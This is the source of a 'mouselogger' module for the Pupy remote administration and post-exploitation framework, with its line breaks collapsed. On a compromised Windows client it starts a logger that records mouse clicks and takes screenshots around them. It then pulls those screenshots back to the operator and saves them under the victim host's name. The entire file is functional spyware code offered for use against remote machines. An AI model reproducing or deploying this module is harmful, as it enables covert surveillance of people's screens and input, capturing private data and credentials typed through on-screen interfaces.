# -*- coding: UTF8 -*- # Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu) # All rights reserved. from pupylib.PupyModule import * import logging import traceback import time import os import os.path from pupylib.utils.rpyc_utils import obtain def pil_save(filename, pixels, width, height): from PIL import Image, ImageFile buffer_len = (width * 3 + 3) & -4 img = Image.frombuffer('RGB', (width, height), pixels, 'raw', 'BGR', buffer_len, 1) ImageFile.MAXBLOCK = width * height img=img.transpose(Image.FLIP_TOP_BOTTOM) img.save(filename, quality=95, optimize=True, progressive=True) __class_name__="MouseLoggerModule" class MouseLoggerModule(PupyModule): """ log mouse clicks and take screenshots of areas around it """ # WARNING : screenshots are kept in memory before beeing dumped #TODO change that and add a callback to automatically send back screenshots without need for dumping daemon=True unique_instance=True def __init__(self, *args, **kwargs): PupyModule.__init__(self, *args, **kwargs) self.mouselogger=None def init_argparse(self): self.arg_parser = PupyArgumentParser(prog='mouselogger', description=self.__doc__) self.arg_parser.add_argument('action', choices=['start', 'stop', 'dump']) @windows_only def is_compatible(self): pass def stop_daemon(self): self.success("mouselogger stopped") def run(self, args): try: os.makedirs(os.path.join("data","mouselogger")) except Exception: pass if args.action=="start": if self.mouselogger: self.error("the mouselogger is already started") else: self.client.load_package("pupwinutils.mouselogger") self.mouselogger=self.client.conn.modules["pupwinutils.mouselogger"].MouseLogger() self.mouselogger.start() else: if not self.mouselogger: self.error("the mouselogger is not running") return if args.action=="dump": self.success("dumping recorded mouse clicks :") screenshots_list=obtain(self.mouselogger.retrieve_screenshots()) self.success("%s screenshots taken"%len(screenshots_list)) print str(screenshots_list)[0:50] for d, height, width, buf in screenshots_list: filepath=os.path.join("data","mouselogger","scr_"+self.client.short_name()+"_"+str(d).replace(" ","_").replace(":","-")+".jpg") pil_save(filepath, buf, width, height) self.info("screenshot saved to %s"%filepath) elif args.action=="stop": self.mouselogger.stop() self.job.stop()